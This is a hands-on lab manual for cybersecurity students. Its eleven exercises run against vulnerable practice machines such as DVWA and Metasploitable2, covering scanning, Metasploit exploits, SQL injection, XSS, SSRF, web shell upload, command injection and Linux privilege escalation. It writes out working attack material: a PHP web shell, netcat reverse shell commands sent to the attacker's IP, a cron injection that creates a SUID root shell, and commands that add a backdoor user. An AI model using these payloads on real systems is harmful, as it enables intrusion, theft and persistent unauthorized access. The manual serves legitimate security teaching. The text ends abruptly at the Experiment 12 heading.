Cybersecurity Practical Experiments Lab Manual

Prepared for: Cybersecurity Students & Enthusiasts
Date: August 9, 2025

Table of Contents

Experiment 1: Footprinting, Kali Linux Basics & Nmap Scans

Aim: To learn fundamental reconnaissance techniques for information gathering and to become proficient with basic Kali Linux commands and Nmap scanning.

Tools Required

- Kali Linux Virtual Machine
- Terminal
- Target IP address or domain (use a test environment like scanme.nmap.org or a designated vulnerable VM)

Theoretical Background

Footprinting (or reconnaissance) is the first phase of ethical hacking. It involves gathering as much information as possible about a target system or network. This information can include domain names, IP addresses, network topology, employee information, and operating systems. Tools like whois, nslookup, and traceroute are essential for this phase. **Nmap** (Network Mapper) is a powerful open-source tool for network discovery and security auditing. It can identify live hosts, open ports, services running, and operating system versions.

Procedure

1. **Kali Linux Basics:**
    - Open the terminal in Kali Linux.
    - Practice basic navigation: pwd (print working directory), ls -la (list files with details), cd <directory> (change directory).
    - Practice file management: touch file.txt (create a file), mkdir new_dir (create a directory), rm file.txt (remove a file).
    - Check your IP address: ip a or ifconfig.
2. **WHOIS Lookup:**
    - Use the whois command to gather domain registration information.
    - **Command:** whois example.com (replace example.com with your target).
    - **Observe:** Registrar information, creation date, contact details, and name servers.
3. **DNS Enumeration with nslookup:**
    - Use nslookup to find the IP address associated with a domain and other DNS records.
    - **Command:** nslookup example.com
    - **Observe:** The IP address(es) (A records) linked to the domain. You can also query for other record types, like mail servers (set type=mx).
4. **Network Path Tracing:**
    - Use traceroute to map the network path (hops) between your machine and the target.
    - **Command:** traceroute example.com
    - **Observe:** The sequence of routers traffic passes through to reach the destination.
5. **Nmap Scans:**
    - **Ping Scan (Host Discovery):** Find live hosts on a network segment.
        - **Command:** nmap -sn <target_network>/24 (e.g., 192.168.1.0/24)
    - **Basic Port Scan:** Scan for the most common open TCP ports.
        - **Command:** nmap <target_ip>
    - **Service & Version Detection:** Identify the services running on open ports and their versions. This is crucial for finding potential vulnerabilities.
        - **Command:** nmap -sV <target_ip>
    - **Aggressive Scan:** A comprehensive scan that includes OS detection (-O), version detection (-sV), script scanning (-sC), and traceroute (--traceroute).
        - **Command:** nmap -A <target_ip>
    - **Vulnerability Script Scan:** Use Nmap's scripting engine (NSE) to check for known vulnerabilities.
        - **Command:** nmap --script vuln <target_ip>

Expected Results

You should have a collection of information about your target, including its IP address, open ports, running services (e.g., HTTP on port 80, SSH on port 22), service versions, and potentially the operating system. The vuln script might report specific CVEs or weaknesses.

Post-Lab Questions

1. What is the difference between active and passive reconnaissance? Which type did you perform?
2. Why is it important to identify the version of a service running on a port?
3. What does the -A flag in Nmap do that a simple nmap <target> does not?

Experiment 2: Exploitation with Metasploit Framework

Aim

To use the Metasploit Framework (MSF) to identify, configure, and execute an exploit against a known vulnerability on a target machine to gain remote access.

Tools Required

- Kali Linux
- Metasploit Framework (msfconsole)
- A vulnerable virtual machine (e.g., Metasploitable2) running on the same network.

Theoretical Background

The **Metasploit Framework** is a powerful penetration testing tool that provides a vast database of exploits, payloads, and auxiliary modules. It simplifies the process of exploitation by automating many of the required steps.

- **Exploit:** A piece of code that takes advantage of a security vulnerability.
- **Payload:** The code that runs on the target machine after the exploit is successful (e.g., a reverse shell).
- **Listener:** A process on the attacker's machine that waits for an incoming connection from the payload.

Procedure

1. **Setup:**
   - Ensure both your Kali machine and the Metasploitable2 VM are running and can ping each other. Find the IP address of the Metasploitable2 VM (ifconfig on the target).
   - Launch the Metasploit console: msfconsole
2. **Information Gathering (Inside Metasploit):**
   - Use Metasploit's built-in Nmap functionality to scan the target.
   - **Command:** db_nmap -A <Metasploitable2_IP>
   - Check the discovered services: services

3. **Finding an Exploit:**
    - Let's assume the Nmap scan found **vsftpd 2.3.4** running on port 21. This version is known to have a backdoor.
    - Search for an exploit targeting this service.
    - **Command:** search vsftpd
    - You should see an exploit named exploit/unix/ftp/vsftpd_234_backdoor.
4. **Configuring the Exploit:**
    - Select the exploit.
    - **Command:** use exploit/unix/ftp/vsftpd_234_backdoor
    - View the required options.
    - **Command:** show options
    - The primary option to set is RHOSTS (Remote Hosts).
    - **Command:** set RHOSTS <Metasploitable2_IP>
5. **Executing the Exploit:**
    - Run the exploit.
    - **Command:** exploit or run
6. **Gaining Access:**
    - If successful, Metasploit will state "Command shell session 1 opened".
    - You now have a remote shell on the target machine. Verify your access by running commands.
    - **Commands:** whoami (should return root), ls -la, id.
7. **Session Handling:**
    - To put the shell in the background without closing it, press Ctrl + Z.
    - View active sessions: sessions -l
    - To re-enter the session: sessions -i 1 (use the correct session ID).

Expected Results

A successful exploit will grant you a command shell on the target machine. Executing whoami will show that you have compromised the system, likely with root privileges in this specific case.

Post-Lab Questions

1. What is the difference between an exploit and a payload?
2. What is a "reverse shell" payload? Why is it often preferred over a "bind shell"?
3. How would you set a payload (e.g., payload/cmd/unix/reverse_netcat) for an exploit in msfconsole?

Experiment 3: Vulnerability Scanning & Enumeration

Aim

To use automated tools to identify security weaknesses, misconfigurations, and other vulnerabilities in target web applications and network services.

Tools Required

- Kali Linux
- Nmap
- Nikto
- OpenVAS (optional, due to complex setup)
- Target web application (e.g., DVWA, Metasploitable2)

Theoretical Background

Vulnerability scanning is an automated process of proactively identifying security flaws in a network or application. Tools like Nmap, Nikto, and OpenVAS work by sending probes to a target and analyzing the responses to detect known vulnerabilities, outdated software, and common misconfigurations. This experiment directly relates to several OWASP Top 10 categories.

- **A05:2021 – Security Misconfiguration:** Default credentials, open cloud storage, misconfigured HTTP headers.
- **A07:2021 – Identification & Authentication Failures:** Weak password policies, insecure session management.
- **A09:2021 – Security Logging & Monitoring Failures:** Lack of logging makes it difficult to detect attacks.

Procedure

1. **Nmap Service and Vulnerability Scanning:**
    - Run an aggressive Nmap scan to get a detailed picture of the target's services.
    - **Command:** nmap -A <target_ip>
    - **Focus on:** The versions of services like Apache, SSH, FTP, etc. Outdated versions are a major source of vulnerabilities.
    - Run an Nmap script scan specifically for vulnerabilities.
    - **Command:** nmap -sV --script vuln <target_ip>
    - **Analyze:** The output for any reported CVEs (Common Vulnerabilities and Exposures) or high-risk findings.

2. **Web Server Scanning with Nikto:**
    - Nikto is a web server scanner that checks for thousands of potentially dangerous files/CGIs, outdated server software, and other common issues.
    - **Command:** nikto -h http://<target_ip>
    - **Analyze the output for:**
        - Server version (e.g., Apache/2.2.8).
        - Outdated software versions.
        - Directory listings enabled.
        - Default files or scripts (/test.php, /admin).
        - Interesting HTTP headers (e.g., lack of X-Frame-Options).
3. **Comprehensive Scanning with OpenVAS (Conceptual):**
    - OpenVAS (Greenbone Vulnerability Manager) is a full-featured vulnerability scanner. While its setup is extensive, it's important to understand its role.
    - **Process Overview:**
        1. **Target Configuration:** Define the IP addresses to be scanned.
        2. **Scan Configuration:** Choose the intensity of the scan (e.g., Full and fast, Deep).
        3. **Execution:** Run the scan task.
        4. **Reporting:** Analyze the detailed report, which will list vulnerabilities by severity (High, Medium, Low), provide CVE details, and suggest remediation steps.

Expected Results

The scans should produce detailed reports listing potential vulnerabilities. Nmap will identify service-level weaknesses. Nikto will highlight web-server-specific misconfigurations like outdated components and dangerous files. The reports are the basis for the exploitation phase of a penetration test.

Post-Lab Questions

1. Nikto reported an "OSVDB-3233: /icons/README: Apache default file found." Why is this considered a security risk?
2. What is the difference between a vulnerability scan and a penetration test?
3. How does identifying a server version (e.g., Apache 2.2.14) help an attacker?

Experiment 4: Injection & Broken Authentication Testing

Aim

To understand and exploit SQL injection and broken authentication vulnerabilities to bypass security controls and gain unauthorized access to data.

Tools Required

- Burp Suite
- SQLMap
- A vulnerable web application (e.g., DVWA, Mutillidae)

Theoretical Background

- **A03:2021 – Injection:** This flaw occurs when untrusted data is sent to an interpreter as part of a command or query. SQL injection is the most common form, where an attacker can execute malicious SQL statements to control a web application's database server.
- **A01:2021 – Broken Access Control:** This flaw allows users to act outside of their intended permissions. Insecure Direct Object Reference (IDOR) is a common example.
- **A07:2021 – Identification & Authentication Failures:** Weaknesses in login mechanisms, password policies, or session management.

Procedure

1. **Setup DVWA and Burp Suite:**
   - In your vulnerable application (DVWA), set the security level to **Low**.
   - Configure your browser to use Burp Suite as a proxy (typically 127.0.0.1:8080).
   - Ensure Burp's **Intercept** is on in the **Proxy** tab.
2. **Testing for SQL Injection (Manual):**
   - Navigate to the **SQL Injection** page in DVWA.
   - Enter a User ID (e.g., 1) and click **Submit**.
   - Observe the intercepted request in Burp Suite. The request will look like .../vulnerabilities/sqli/?id=1&Submit=Submit#.
   - Modify the id parameter with a classic SQL injection payload.
   - **Payload:** ' OR 1=1-- (The single quote closes the string, OR 1=1 makes the condition always true, and -- comments out the rest of the original query).
   - Forward the modified request in Burp.
   - **Observe:** The web page should now display all user records from the database, demonstrating a successful injection.
3. **Automating SQL Injection with SQLMap:**
   - Find a URL that is vulnerable to SQLi (e.g., the one from the previous step).
   - Open a new terminal.

- Use SQLMap to automate the database extraction.
- **Command:** sqlmap -u "http://<target_ip>/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="<your_dvwa_cookie>" --dbs
  - --cookie: You need to provide your session cookie to SQLMap so it can access the authenticated page. Get this from the Burp request.
  - --dbs: This tells SQLMap to enumerate (list) all databases.
- **Follow-up commands:**
  - --tables -D <database_name>: List tables in a specific database.
  - --columns -T <table_name> -D <database_name>: List columns in a table.
  - --dump -C <column_name> -T <table_name> -D <database_name>: Dump the data from the columns.

4. **Demonstrating Broken Access Control (IDOR):**
   - Navigate to the **Insecure Direct Object References** page in DVWA (if available) or find a similar feature where a URL parameter specifies an object ID (e.g., view_profile.php?user_id=1).
   - In Burp Suite, intercept the request for user ID 1.
   - Change the user_id parameter to 2, 3, etc.
   - Forward the request.
   - **Observe:** If you can view the profiles of other users simply by changing the ID in the URL, you have successfully performed an IDOR attack.

Expected Results

You will successfully bypass the login or data retrieval logic using SQL injection, viewing data you should not have access to. You will automate this process with SQLMap to dump the entire database content. You will also demonstrate an IDOR flaw by accessing another user's data by manipulating a URL parameter.

Post-Lab Questions

1. Explain what the SQL payload ' OR 1=1-- does, part by part.
2. Why is parameterized queries (prepared statements) an effective defense against SQL injection?
3. Besides changing URL parameters, where else might an IDOR vulnerability exist? (e.g., hidden form fields, API endpoints).

Experiment 5: Cross-Site Scripting (XSS) & Sensitive Data Exposure

Aim

To identify and exploit client-side Cross-Site Scripting (XSS) vulnerabilities and to detect sensitive data exposure due to cryptographic failures and insecure design.

Tools Required

- Burp Suite or OWASP ZAP
- A vulnerable web application (e.g., DVWA)
- Web browser with developer tools (F12)

Theoretical Background

- **A03:2021 - Injection (XSS is a type of Injection):** XSS flaws occur when an application includes untrusted data in a new web page without proper validation or escaping. It allows attackers to execute scripts in the victim's browser, which can hijack user sessions, deface websites, or redirect the user to malicious sites.
  - **Reflected XSS:** The malicious script comes from the current HTTP request.
  - **Stored XSS:** The malicious script is permanently stored on the target server (e.g., in a comment field).
- **A02:2021 – Cryptographic Failures:** Failures related to cryptography, which often lead to the exposure of sensitive data (e.g., passwords, credit card numbers). A common example is transmitting data over unencrypted HTTP.
- **A04:2021 – Insecure Design:** Flaws representing missing or ineffective security controls due to a poor design.

Procedure

1. **Testing for Reflected XSS:**
   - In DVWA (Low security), navigate to the **Reflected XSS** page.
   - The input box asks for your name. Instead of a name, enter a simple JavaScript payload.
   - **Payload:** <script>alert('XSS')</script>
   - Click **Submit**.
   - **Observe:** An alert box should pop up in your browser, executing the JavaScript. This proves the input is not being sanitized.
   - A more malicious payload could steal the user's cookie: <script>alert(document.cookie)</script>

2. **Testing for Stored XSS:**
    - Navigate to the **Stored XSS** page in DVWA. This page simulates a guestbook or comment section.
    - In the "Message" field, enter the same XSS payload.
    - **Payload:** <script>alert('XSS Was Here')</script>
    - Click **Sign Guestbook**.
    - **Observe:** The page reloads, and your script executes. Now, if you refresh the page or even navigate away and come back, the script will execute again for any user who views the page. The payload is stored in the database.
3. **Detecting Sensitive Data Exposure (Insecure Transmission):**
    - Use Burp Suite or your browser's Developer Tools (Network tab).
    - Navigate to a login page on an HTTP (not HTTPS) site (DVWA is perfect for this).
    - Enter a username and password (e.g., admin/password).
    - Before logging in, make sure you are capturing traffic in Burp or the Network tab.
    - Log in and inspect the HTTP request that was sent.
    - **Observe:** In the request body, you will see the username and password sent in **cleartext**. This is a classic example of sensitive data exposure.
4. **Inspecting Cookies for Security Flags:**
    - While logged into DVWA, open your browser's Developer Tools.
    - Go to the **Application** (Chrome) or **Storage** (Firefox) tab and select **Cookies**.
    - Find the cookie for the DVWA site (e.g., PHPSESSID).
    - **Observe:** Check the columns for Secure and HttpOnly.
        - **Secure flag:** If not set, the cookie can be transmitted over unencrypted HTTP.
        - **HttpOnly flag:** If not set, the cookie can be accessed by client-side scripts (like the XSS payload you used earlier: <script>alert(document.cookie)</script>). In DVWA Low, this flag is likely missing.

Expected Results

You will successfully execute JavaScript in the context of the target website using both reflected and stored XSS attacks. You will intercept a login request to find credentials being sent in cleartext. Finally, you will identify insecure cookie configurations that could lead to session hijacking.

Post-Lab Questions

1. What is the main difference between Reflected and Stored XSS? Which is more dangerous and why?
2. Explain the purpose of the HttpOnly cookie flag. How does it mitigate the risk of XSS?
3. Why should sensitive information never be transmitted over HTTP?

Experiment 6: Security Misconfiguration & Vulnerable Components

Aim

To identify and exploit security misconfigurations in web servers and applications, and to find vulnerabilities in outdated or unpatched components.

Tools Required

- Nmap, Nikto
- Burp Suite
- OWASP Dependency-Check (conceptual or practical)
- A vulnerable web application (e.g., Metasploitable2, DVWA)

Theoretical Background

- **A05:2021 – Security Misconfiguration:** This category is a catch-all for non-secure configurations. Examples include enabled directory listing, default usernames and passwords, overly verbose error messages revealing stack traces, and exposed administration panels.
- **A06:2021 – Vulnerable and Outdated Components:** Modern applications are built using numerous third-party libraries and frameworks. If a vulnerability is discovered in one of these components and the application is not patched, it becomes vulnerable.
- **A10:2021 – Server-Side Request Forgery (SSRF):** SSRF flaws allow an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This can be used to pivot into internal networks.

Procedure

1. **Scan for Exposed Services and Directories:**
   - Use Nmap to scan for open ports that shouldn't be public (e.g., database ports like 3306, remote management ports).
   - **Command:** nmap -p- -sV <target_ip> (-p- scans all 65535 ports).
   - Use Nikto to find misconfigurations like exposed admin panels or directory listing.
   - **Command:** nikto -h http://<target_ip>
   - **Observe:** Look for lines like "Directory indexing found" or "An 'admin' directory was found." Try to navigate to these directories in a browser.
2. **Detecting Outdated Components:**
   - The output from nmap -sV and nikto will often reveal the version of the web server (e.g., Apache/2.2.8), PHP (e.g., 5.2.4), and other components.

- Take a revealed version number and search for it in an exploit database like Exploit-DB or by searching Google for "<software_name> <version> vulnerability".
- **Example:** A scan reveals a server is running an old version of WordPress. You can then use a tool like wpscan (wpscan --url http://<target_ip> --enumerate vp) to find vulnerable plugins.

3. **Perform a Basic SSRF Test:**
   - Find an application feature that fetches a resource from a URL. For example, a feature that lets a user supply a URL to an image to be displayed.
   - The request might look like: GET /image_fetcher?url=http://example.com/image.png
   - Intercept this request with Burp Suite.
   - Change the url parameter to point to an internal service that should not be accessible from the outside. The most common target is the cloud metadata service or the local server itself.
   - **Payload 1 (Localhost):** url=http://localhost/server-status or url=http://127.0.0.1/
   - **Payload 2 (Cloud Metadata - if applicable):** url=http://169.254.169.254/latest/meta-data/
   - **Observe:** If the server's response contains the content from the internal service (e.g., an Apache server status page or cloud instance metadata), the application is vulnerable to SSRF.
4. **Using OWASP Dependency-Check (Conceptual):**
   - This is a command-line tool used by developers. It scans a project's dependencies (e.g., Java .jar files, Node.js package.json) and checks them against the National Vulnerability Database (NVD) for known CVEs.
   - **Command (Example for a Java project):** dependency-check.sh --scan /path/to/my/project --format HTML
   - **Result:** It produces an HTML report listing all dependencies, which ones are vulnerable, and links to the relevant CVEs. This highlights the importance of keeping all components up to date.

Expected Results

You should identify several misconfigurations, such as open ports and exposed directories. You will find version numbers for software components and be able to look up known exploits for them. You will successfully demonstrate an SSRF attack by tricking the server into requesting a resource from its own localhost.

Post-Lab Questions

1. You found that directory listing is enabled on an /uploads/ directory. How could an attacker abuse this?
2. What is the difference between SSRF and XSS?
3. Why is it risky to show detailed error messages (e.g., stack traces) to users in a production environment?

Experiment 7: Basic Penetration Testing (End-to-End)

Aim

To conduct a full-cycle, basic penetration test, integrating previously learned skills: reconnaissance, scanning, gaining access, maintaining access, and privilege escalation.

Tools Required

- Kali Linux
- Nmap
- Metasploit Framework
- Burp Suite
- A vulnerable target machine (e.g., Metasploitable2)

Theoretical Background

A penetration test (pentest) is a simulated cyberattack against a computer system to check for exploitable vulnerabilities. This end-to-end experiment combines all the previous labs into a single, cohesive workflow that mimics a real-world engagement.

The Phases of a Pentest:

1. **Reconnaissance:** Gather information (passive and active).
2. **Scanning & Enumeration:** Discover live hosts, open ports, services, and vulnerabilities.
3. **Gaining Access (Exploitation):** Use a vulnerability to get an initial foothold on a system.
4. **Maintaining Access & Privilege Escalation:** Install backdoors, create user accounts, and escalate privileges from a low-level user to root or SYSTEM.
5. **Reporting:** Document findings, impact, and remediation advice. (This lab focuses on the first four phases).

Procedure

Phase 1 & 2: Reconnaissance and Scanning

1. Identify the IP address of your target machine (Metasploitable2).
2. Perform a comprehensive Nmap scan to discover all open ports, services, and versions, and run vulnerability scripts.
   - **Command:** nmap -p- -A --script vuln <target_ip> -oN nmap_report.txt
   - The -oN flag saves your output to a text file for later analysis.
3. Analyze the nmap_report.txt file. Identify several potential attack vectors. For Metasploitable2, you will find many, including:
   - vsftpd 2.3.4 (backdoor)

- UnrealIRCD (backdoor)
- Samba 3.0.20 (command execution vulnerability)
- Tomcat (default credentials)
- PostgreSQL (default credentials)

Phase 3: Gaining Access (Exploitation)

1. Choose one of the vulnerabilities found. Let's use the Samba username map script command execution.
2. Launch Metasploit: msfconsole
3. Search for the exploit.
   - **Command:** search samba username map
   - You will find exploit/multi/samba/usermap_script.
4. Configure and run the exploit.
   - use exploit/multi/samba/usermap_script
   - set RHOSTS <target_ip>
   - show payloads (select a suitable payload)
   - set payload cmd/unix/reverse_netcat
   - set LHOST <your_kali_ip>
   - exploit
5. If successful, you will gain a shell on the target machine. Check your access level.
   - **Command:** whoami (You should get root).

Phase 4: Privilege Escalation & Maintaining Access

1. In this specific case, the exploit already gave you root access, so privilege escalation is not needed. However, if you had gained access as a low-privilege user (e.g., www-data), you would now begin the privilege escalation process (see Experiment 11).
2. **Maintaining Access (Hypothetical):**
   - You could use Metasploit's post-exploitation modules to create a persistent backdoor.
   - You could add a new user to the system: useradd -m -s /bin/bash attacker and set a password passwd attacker.
   - You could set up an SSH key for passwordless login.

Expected Results

By following the structured phases, you will successfully move from zero knowledge of the target to full administrative control (root access). You will have a clear report from Nmap and a working shell session from Metasploit, demonstrating a complete kill chain.

Post-Lab Questions

1. Why is it important to follow a structured methodology for a penetration test?
2. If your initial exploit gave you access as a low-privilege user named tomcat, what would be your immediate next steps?
3. What is the purpose of the LHOST and RHOSTS options in Metasploit?

Experiment 8: File Upload Exploitation

Aim

To exploit insecure file upload functionality by uploading a malicious file (a web shell) to gain remote code execution (RCE) on the server.

Tools Required

- Burp Suite
- A vulnerable web application with a file upload feature (e.g., DVWA)
- A simple PHP web shell payload.

Theoretical Background

Many web applications allow users to upload files, such as profile pictures or documents. If the server does not properly validate the uploaded files (e.g., checking the file type, content, and name), an attacker can upload a web shell. A **web shell** is a script (e.g., in PHP, ASP, JSP) that runs on the server and provides an interface for the attacker to execute arbitrary system commands.

Procedure

1. **Prepare the Web Shell:**
   - Create a new file on your Kali desktop named shell.php.
   - Add the following simple PHP code to the file. This code takes a command from a URL parameter (cmd) and executes it on the server.
   - **Code:** <?php system($_GET['cmd']); ?>
2. **Initial Upload Attempt (Likely to Fail):**
   - In DVWA (Low security), navigate to the **File Upload** page.
   - Try to upload your shell.php file directly.
   - **Observe:** The application will likely reject it, possibly with an error like "Your image was not uploaded." This is because there might be some client-side or basic server-side validation checking the file extension.
3. **Bypassing Validation with Burp Suite:**
   - Create a text file named shell.php.jpg. Put the same PHP code inside.
   - Turn on Burp Intercept and configure your browser to use the proxy.
   - On the upload page, browse and select your shell.php.jpg file. Click **Upload**.
   - The request will be captured in Burp Suite. Find the Content-Disposition header in the request body. It will look something like this: filename="shell.php.jpg"

- **Modify the request:** Change the filename back to shell.php.
  - filename="shell.php"
- Forward the request.

4. **Confirm the Upload and Execute Commands:**
   - The application should now give a success message, indicating the file was uploaded, and it will often provide the path (e.g., ../../hackable/uploads/shell.php).
   - Navigate to this path in your browser. You might see a blank page, which is expected.
   - Now, use the cmd parameter to execute a command.
   - **URL:** http://<target_ip>/hackable/uploads/shell.php?cmd=whoami
   - **Observe:** The browser page should now display the output of the whoami command (e.g., www-data).
   - **Try other commands:**
     - ...shell.php?cmd=ls -la (List files in the current directory)
     - ...shell.php?cmd=cat /etc/passwd (Read the password file)

Expected Results

You will successfully bypass the file upload filter by intercepting and modifying the HTTP request. After uploading the PHP shell, you will be able to execute arbitrary system commands on the server by passing them through a URL parameter, achieving remote code execution.

Post-Lab Questions

1. Why did changing the filename from shell.php.jpg to shell.php in Burp Suite work? What kind of check did this bypass?
2. What are some other ways a file upload feature could be secured besides checking the file extension? (e.g., checking MIME type, renaming files on upload, using a file type verification library).
3. What is a more advanced web shell than the one-liner used in this lab? (e.g., Weevely, b374k).

Experiment 9: Command Injection Attacks

Aim

To execute arbitrary system commands on a host operating system via a vulnerable web application by injecting malicious commands into user-supplied input.

Tools Required

- Burp Suite
- Netcat (nc)
- A vulnerable web application (e.g., DVWA, Mutillidae)

Theoretical Background

Command Injection vulnerabilities exist when an application passes unsafe user-supplied data (e.g., form inputs, cookies, HTTP headers) to a system shell. An attacker can insert an arbitrary command into the data, which will then be executed by the server. This vulnerability is often found in applications that need to call system commands, such as a web page that lets you ping another host.

Command Separators:

- ;: Executes commands sequentially. ping 8.8.8.8; ls
- &&: Executes the second command only if the first one succeeds. ping 8.8.8.8 && ls
- |: Pipes the output of the first command as input to the second. ping 8.8.8.8 | grep "bytes from"

Procedure

1. **Identify the Vulnerable Input:**
   - In DVWA (Low security), navigate to the **Command Injection** page.
   - The page provides a utility to ping an IP address. Enter 127.0.0.1 and observe the normal output.
2. **Inject a Simple Command:**
   - Use a command separator to append a new command to the IP address.
   - **Payload:** 127.0.0.1; whoami
   - Click **Submit**.
   - **Observe:** The output on the page should show the results of the ping *and* the output of the whoami command (e.g., www-data). This confirms the vulnerability.
   - **Try another payload:** 127.0.0.1 && ls -la
3. **Establish a Reverse Shell:**
   - Executing commands one by one is useful, but an interactive shell is much more powerful. We will use Netcat to set up a listener on our Kali machine to "catch" a reverse shell sent from the server.
   - **On your Kali machine (Attacker):** Open a terminal and start a Netcat listener on a port (e.g., 4444).
     - **Command:** nc -lvnp 4444 (-l listen, -v verbose, -n numeric IPs, -p port).
   - **On the DVWA page (Victim):** Now you need to inject a command that will connect back to your Kali machine. There are many reverse shell payloads. A common one for Netcat is:
     - **Payload:** 127.0.0.1; nc -e /bin/bash <your_kali_ip> 4444
     - Note: The -e flag for netcat might not be available on all systems. An alternative is: 127.0.0.1; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your_kali_ip> 4444 >/tmp/f
   - Click **Submit**.

4. **Catch the Shell:**
    - Switch back to your Netcat terminal on Kali.
    - **Observe:** You should see a "connect to [your_kali_ip] from [target_ip]" message. The terminal prompt will be gone, but you can now type system commands.
    - **Commands:** whoami, id, pwd. You now have an interactive shell on the web server.

Expected Results

You will successfully inject and execute simple commands, viewing their output directly on the web page. You will then escalate this attack to gain a fully interactive reverse shell on the server by using Netcat, giving you persistent command execution capabilities.

Post-Lab Questions

1. What is the difference between Command Injection and Code Injection?
2. Explain why input sanitization (blacklisting characters like ; and &) is often a weak defense against command injection. What is a better approach? (Input validation/whitelisting).
3. Why is a reverse shell often more successful in real-world scenarios than a bind shell? (It bypasses firewalls on the victim's side that block incoming connections).

Experiment 10: Insecure Direct Object Reference (IDOR)

Aim

To access unauthorized data by identifying and manipulating user-supplied object identifiers that are not properly validated by the server.

Tools Required

- Burp Suite (especially the Repeater tool) or Postman
- A web application with functionality that references objects via parameters (e.g., DVWA, OWASP Juice Shop).

Theoretical Background

IDOR (Insecure Direct Object Reference) is a type of access control vulnerability. It occurs when an application provides direct access to objects based on user-supplied input. For example, a URL like https://example.com/view_receipt.php?id=123 directly references receipt 123. If the server doesn't check whether the logged-in user is actually authorized to view receipt 123, an attacker can simply change the id parameter to 124, 125, etc., to view other people's receipts.

This falls under **A01:2021 – Broken Access Control**, as the application is failing to enforce permissions on what a user is allowed to see or do.

Procedure

1. **Identify a Potential IDOR Endpoint:**
    - Log in to your vulnerable application as a low-privileged user.
    - Browse the application and look for any place where an identifier is passed in the URL or in a request body.
    - Good candidates are functions like "View My Profile," "Download My Invoice," "See My Orders," etc.
    - Let's assume you find a URL like: http://<target_ip>/get_user_info.php?user_id=10
2. **Setup Burp Suite:**
    - Configure your browser to proxy through Burp Suite.
    - Navigate to the identified URL (http://<target_ip>/get_user_info.php?user_id=10).
    - Find this request in your **Proxy -> HTTP history** tab.
    - Right-click the request and select "**Send to Repeater**".
3. **Manipulate the Object Reference in Repeater:**
    - Go to the **Repeater** tab. You will see the raw HTTP request.
    - The request line will be something like GET /get_user_info.php?user_id=10 HTTP/1.1.
    - Modify the user_id parameter. Change it from 10 to 11.
    - Click **Send**.
4. **Analyze the Response:**
    - Look at the response from the server on the right-hand panel.
    - **If the application is vulnerable:** The response will contain the user information for user_id=11, even though you are logged in as user 10. You have successfully performed an IDOR attack.
    - **If the application is secure:** The response should give you an error message like "Unauthorized," "Access Denied," or simply redirect you to your own profile page.
5. **Test for Other Identifiers:**
    - IDORs don't just happen with numeric IDs. They can be usernames, file names, or other predictable identifiers.
    - Try changing ?file=my_invoice.pdf to ?file=another_users_invoice.pdf.
    - Try changing API endpoints from /api/v1/my_data to /api/v1/admin_data.

Expected Results

By systematically changing the identifier in the user_id parameter using Burp Repeater, you will be able to retrieve data belonging to other users. The server's response will contain sensitive information that your user account should not have permission to access.

Post-Lab Questions

1. Why is IDOR considered an access control vulnerability?
2. Suggest a secure way for a developer to implement the get_user_info.php functionality to prevent this attack. (e.g., instead of relying on the user-supplied ID, the server should use the session ID to look up the user and their associated data).
3. Besides numeric IDs, what other types of predictable identifiers could be vulnerable to IDOR? (e.g., usernames, email addresses, sequential invoice numbers).

Experiment 11: Linux Privilege Escalation

Aim

To escalate user privileges from a low-level account to root on a Linux system by exploiting common misconfigurations and vulnerabilities.

Tools Required

- A shell on a Linux target machine (can be from a previous exploit, e.g., on Metasploitable2).
- Privilege escalation enumeration scripts (e.g., linpeas.sh, LinEnum.sh).

Theoretical Background

Privilege Escalation is the act of exploiting a bug, design flaw, or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The goal is typically to go from a standard user (like www-data or tomcat) to the superuser, root.

Common Vectors:

- **SUID/SGID Misconfigurations:** Binaries with the SUID bit set run with the permissions of the file owner, not the user who executed it. If a binary owned by root has the SUID bit and a flaw, it can be exploited.
- **Insecure Cron Jobs:** Cron jobs are scheduled tasks. If a script that runs as root is writable by a low-privilege user, that user can add malicious code to it.
- **PATH Hijacking:** If a script calls a command without specifying its full path (e.g., nmap instead of /usr/bin/nmap), an attacker can create their own malicious nmap script in a directory that is checked first (e.g., /tmp).
- **Kernel Exploits:** An outdated kernel may be vulnerable to known exploits that can directly grant root access.

Procedure

1. **Initial Enumeration:**
    - Once you have a shell on the target, the first step is always to gather information.
    - **Manual Checks:**
        - whoami: Who are you?
        - uname -a: What is the kernel version?
        - sudo -l: What can you run with sudo without a password?
        - ps aux: What processes are running?

- **Automated Enumeration:** Download and run an enumeration script like linpeas.sh for a comprehensive report.
  - wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
  - chmod +x linpeas.sh
  - ./linpeas.sh

2. **Exploiting SUID Binaries:**
   - Find all files with the SUID bit set.
   - **Command:** find / -perm -u=s -type f 2>/dev/null
   - Look for unusual binaries in the list. Standard ones include passwd, su, ping. Non-standard ones like nmap, find, vim are prime targets.
   - The website **GTFOBins** is an essential resource that lists Unix binaries that can be abused to bypass local security restrictions.
   - **Example (Exploiting find):** If find is SUID, you can use it to execute a command as root.
     - **Command:** find . -exec /bin/sh -p \; -quit
     - The -p flag with sh ensures it keeps the elevated privileges. Run whoami in the new shell; it should be root.
3. **Abusing Cron Jobs:**
   - Check the system-wide and user cron jobs.
   - **Commands:** cat /etc/crontab, ls -la /etc/cron.*
   - Look for any script that runs as root that you have write permissions for.
   - **Example:** A script cleanup.sh in /usr/local/bin is run by root every minute. If you can write to it (ls -la /usr/local/bin/cleanup.sh shows you have write permissions):
     - echo 'cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell' >> /usr/local/bin/cleanup.sh
     - Wait for the cron job to run. A new file /tmp/rootshell will be created. It will be a copy of bash, but with the SUID bit set.
     - Run /tmp/rootshell -p to get a root shell.
4. **Checking Kernel Exploits:**
   - Use the output from uname -a (e.g., Linux metasploitable 2.6.24-16-server).
   - Search Google or searchsploit for exploits for that specific kernel version.
   - **Command:** searchsploit Linux Kernel 2.6.24
   - If a reliable local privilege escalation exploit is found, you can download, compile, and run it on the target to get root.

Expected Results

By systematically enumerating the system for weaknesses, you will identify at least one viable vector for privilege escalation. You will successfully exploit either a SUID binary, a misconfigured cron job, or another flaw to gain a shell with root privileges.

Post-Lab Questions

1. What does the SUID bit do, and why is it dangerous on a binary like nmap?
2. You find a cron job that runs a Python script as root, and you can write to that script. What Python code would you add to get a reverse shell to your machine at 10.10.10.5:4444?
3. Why is running an automated script like linpeas.sh generally more effective than just manual enumeration?

Experiment 12: Windows Privilege Escalation

